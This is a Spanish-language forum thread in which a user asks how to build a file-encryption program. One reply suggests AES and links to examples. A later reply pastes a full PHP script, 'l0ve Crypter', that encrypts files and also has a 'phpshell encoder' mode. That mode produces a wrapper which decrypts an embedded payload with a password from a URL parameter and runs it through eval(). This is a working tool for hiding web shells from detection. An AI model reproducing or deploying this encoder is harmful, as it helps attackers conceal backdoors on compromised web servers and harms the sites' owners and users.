Título: Binario
Publicado por: Danni5 en 16 Septiembre 2014, 01:48 am
Como puedo por ejemplo crear un .exe que encripte archivos, ejemplo: prueba.txt a prueba.bin y ponerle yo unas key's ? Alguien sabe? O simplemente cifrar el archivo que H = 0110 O = 0101 L = 1010 A = 0011 y salgan esos numeros envez de las letras? Y que quedase así 0110010110100011
Título: Re: Binario
Publicado por: engel lex en 16 Septiembre 2014, 02:49 am
si quieres un .exe podrías usar algún lenguaje como c++ o por facilidad vb.net
puedes usar algoritmos standard como AES (http://es.wikipedia.org/wiki/Advanced_Encryption_Standard)
aquí un ejemplo (http://www.codeproject.com/Articles/1380/A-C-Implementation-of-the-Rijndael-Encryption-Decr) en c++ aquí un ejemplo (http://aspsnippets.com/Articles/AES-Encryption-Decryption-Cryptography-Tutorial-with-example-in-ASPNet-using-C-and-VBNet.aspx) en .NET
eso si el resultado no va a ser (nativamente) un archivo bonito con unos y ceros, ya que si es binario el editor de textos lo interpretará como ascii (cada 0 bits es una letra)
Título: Re: Binario
Publicado por: 6666 en 16 Septiembre 2014, 03:22 am
Entrada ------- Archivo a cifrar Salida ------- Nombre del archivo de salida Password ------ Contraseña para cifrar/descifrar Tipo ------- Tipo de Cifrado Encode|Decode - cifrar o descifrar si|no ------- Soporte Php_shell? Tipos de Cifrado: (opciones) 1 - GOST 2 - RIJNDAEL_256 3 - XTEA 4 - RIJNDAEL_128 5 - RIJNDAEL_192 6 - RC2 7 - CAST_256 8 - CAST_128 9 - BLOWFISH 10 - 3DES 11 - DES <?php # l0ve.diosdelared . c0m #Archive encoder/decoder and phpshell encoder. # l0ve.diosdelared . c0m #By l0ve
function encrypt($entrada, $salida, $password, $tipo, $encode, $si) { switch ($tipo) { case 1: $enc = MCRYPT_GOST; break; case 2: $enc = MCRYPT_RIJNDAEL_256; break; case 3: $enc = MCRYPT_XTEA; break; case 4: $enc = MCRYPT_RIJNDAEL_128; break; case 5: $enc = MCRYPT_RIJNDAEL_192; break; case 6: $enc = MCRYPT_RC2; break; case 7: $enc = MCRYPT_CAST_256; break; case 8: $enc = MCRYPT_CAST_128; break; case 9: $enc = MCRYPT_BLOWFISH; break; case 10: $enc = MCRYPT_3DES; break; default: $enc = MCRYPT_DES; break; } # l0ve.SPAM(137) #Archive encoder/decoder and phpshell encoder. #By l0ve $td = mcrypt_module_open(''.$enc.'', '', MCRYPT_MODE_ECB, ''); $iv = mcrypt_create_iv(mcrypt_enc_get_iv_size($td), MCRYPT_DEV_RANDOM); $ks = mcrypt_enc_get_key_size($td); $key = substr(md5($password), 0, $ks); mcrypt_generic_init($td, $key, $iv); $lala = file_get_contents($entrada); echo "Cifrando .. $enc\n"; if($encode == "encode") { $encrypted = mcrypt_generic($td, $lala); echo "Agregando Base64 ..\n"; $lala = base64_encode($encrypted); } else { echo "Descifrando .. $enc\n"; $encrypted = mdecrypt_generic($td, trim(base64_decode($lala))); } # l0ve.SPAM(137) #Archive encoder/decoder and phpshell encoder. #By l0ve $arch = fopen($salida, 'w'); if($si == 'si') { fwrite($arch, '<?php if($_GET[\'pass\'] == "si") { $td = mcrypt_module_open(\''.$enc.'\', \'\', MCRYPT_MODE_ECB, \'\'); $iv = mcrypt_create_iv(mcrypt_enc_get_iv_size($td), MCRYPT_DEV_RANDOM); $ks = mcrypt_enc_get_key_size($td);
$key = substr(md5($_GET[\'p\']), 0, $ks);
mcrypt_generic_init($td, $key, $iv); $lala = \''.$lala.'\'; $decrypted = mdecrypt_generic($td, trim(base64_decode($lala))); mcrypt_generic_deinit($td); mcrypt_module_close($td); eval($decrypted); } ?>'); fclose($arch); echo "Cifrado completo!\nMirar: $salida"; } else { fwrite($arch, $lala); fclose($arch); echo "Cifrado Completo!\nMirar: $salida"; }
} # l0ve.SPAM(137) #Archive encoder/decoder and phpshell encoder. #By l0ve if(count($argv) == '7') { $entrada = $argv[1]; $salida = $argv[2]; $password = $argv[3]; $tipo = $argv[4]; $encode = $argv[5]; $si = $argv[6]; encrypt($entrada, $salida, $password, $tipo, $encode, $si); } else { echo "#################\nl0ve Crypter 0.1b\n#################\nUsage: $argv[0] entrada salida contraseña tipo encode|decode si|no
Entrada ------- Archivo a cifrar Salida ------- Nombre del archivo de salida Password ------ Contraseña para cifrar/descifrar Tipo ------- Tipo de Cifrado Encode|Decode - cifrar o descifrar si|no ------- Soporte Php_shell?
Tipos de Cifrado: (opciones)
1 - GOST 2 - RIJNDAEL_256 3 - XTEA 4 - RIJNDAEL_128 5 - RIJNDAEL_192 6 - RC2 7 - CAST_256 8 - CAST_128 9 - BLOWFISH 10 - 3DES 11 - DES\n"; } ?>
|